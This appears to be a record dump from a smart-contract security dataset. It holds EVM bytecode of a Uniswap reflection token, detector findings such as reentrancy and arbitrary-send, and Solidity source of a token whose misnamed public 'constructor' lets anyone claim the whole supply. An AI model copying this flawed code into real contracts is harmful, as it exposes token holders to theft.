60200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f42414e54efb88f00000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220eb4a1dab7311541d2e16a28ab05d395392fde96e84cd8db8cb6a16c3c93a26e164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,990 |
0x7461d41f05f08562ca33d6d05fd82ad2f807057e
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_XIX_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XIX_883 " ;
string public symbol = " RE883XIX " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1340600412721820000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIX_metadata_line_1_____Thai_Reinsurance_Public_Company_20250515 >
// < 6Xacg7qV0pmlCK86Ui8D1EfJYJT7KZ1E5GjoyNG0g6H6Kd3vsx473XyG3Y4nH61l >
// < 1E-018 limites [ 1E-018 ; 36864781,5976893 ] >
// < 0x00000000000000000000000000000000000000000000000000000000DBBB3343 >
// < RE_Portfolio_XIX_metadata_line_2_____Thailand_Asian_Re_20250515 >
// < xz0s9bTrz7RR5756aBtCnB1A1F9zEzWe0X1218w8v16rByDe50700Nn59E2k4el1 >
// < 1E-018 limites [ 36864781,5976893 ; 63941863,4799876 ] >
// < 0x00000000000000000000000000000000000000000000000DBBB334317D1F8C5F >
// < RE_Portfolio_XIX_metadata_line_3_____Thailand_BBBp_Asian_Re_m_Bp_20250515 >
// < jdtil5D7nt3SuLJL2cg35xTx1NpnjBq3vZUwWckm7KaNbPW0peDYV1219fJY0JRc >
// < 1E-018 limites [ 63941863,4799876 ; 111148150,472025 ] >
// < 0x000000000000000000000000000000000000000000000017D1F8C5F2967EA03B >
// < RE_Portfolio_XIX_metadata_line_4_____The_Channel_Managing_Agency_Limited_20250515 >
// < 6U5Jv83h0rFK15oF15i0hSEiEQ7XfI1E047155jxuL0DsLlb0p8Hx6K41ZElNO71 >
// < 1E-018 limites [ 111148150,472025 ; 183167663,472869 ] >
// < 0x00000000000000000000000000000000000000000000002967EA03B443C3AE7F >
// < RE_Portfolio_XIX_metadata_line_5_____The_Channel_Managing_Agency_Limited_20250515 >
// < TEtY8u1g3o714Cq066z3i6Rzj082U4e8nluoBYdvqFY91So7hTyI64r885EMuY9Z >
// < 1E-018 limites [ 183167663,472869 ; 232397890,320488 ] >
// < 0x0000000000000000000000000000000000000000000000443C3AE7F569330BDC >
// < RE_Portfolio_XIX_metadata_line_6_____The_Fuji_Fire_&_Marine_Insurance_Co_Limited_Ap_m_20250515 >
// < f4ERz1Wp71hM4XmLh4h943qjLr0tFpg4t0K6xvbM41ngAUm15xjN941yvb6peUFN >
// < 1E-018 limites [ 232397890,320488 ; 244050519,202988 ] >
// < 0x0000000000000000000000000000000000000000000000569330BDC5AEA78C04 >
// < RE_Portfolio_XIX_metadata_line_7_____The_Mediterranean_&_Gulf_Insurance_&_Reinsurance_Company_Am_20250515 >
// < 2n7ULJSoAaWNStOsq2IbEbWIHFY3X7t911a3OaHu695646hdD1RY4ZaD4wuCM4A2 >
// < 1E-018 limites [ 244050519,202988 ; 278787034,066869 ] >
// < 0x00000000000000000000000000000000000000000000005AEA78C0467DB34322 >
// < RE_Portfolio_XIX_metadata_line_8_____The_Mediterranean_&_Gulf_Insurance_&_Reinsurance_Company_Am_20250515 >
// < qFHigv1282OK1MR7hXH2bqR5x5MQQfevEz3yyh38N28J2fN36HtwmhMtwpo2v8WS >
// < 1E-018 limites [ 278787034,066869 ; 307072893,163624 ] >
// < 0x000000000000000000000000000000000000000000000067DB343227264C0ED8 >
// < RE_Portfolio_XIX_metadata_line_9_____The_New_India_Assurance_Company_Limited_Am_20250515 >
// < 8HW0tn493B8e1Q5L1KK51sOCWSwuHVq6l4323ldxR83XlaMl1a40p2O8R9768nk0 >
// < 1E-018 limites [ 307072893,163624 ; 336339405,065176 ] >
// < 0x00000000000000000000000000000000000000000000007264C0ED87D4BD360E >
// < RE_Portfolio_XIX_metadata_line_10_____The_Oriental_Insurance_Company_Limited_Bpp_20250515 >
// < x7eqCPp3OQna559cM4O53MR0Uebt21rt5J75D7FBk81Oh76ug66P75Q77XuU5q85 >
// < 1E-018 limites [ 336339405,065176 ; 398265421,292264 ] >
// < 0x00000000000000000000000000000000000000000000007D4BD360E945D8D025 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIX_metadata_line_11_____The_Toa_Reinsurance_Company_Limited_20250515 >
// < C27HZf4FOaVYek5pX71243AS1BkKWRK5EVsbhjLk0FHT23W7N7I514Y9PG1ELvDl >
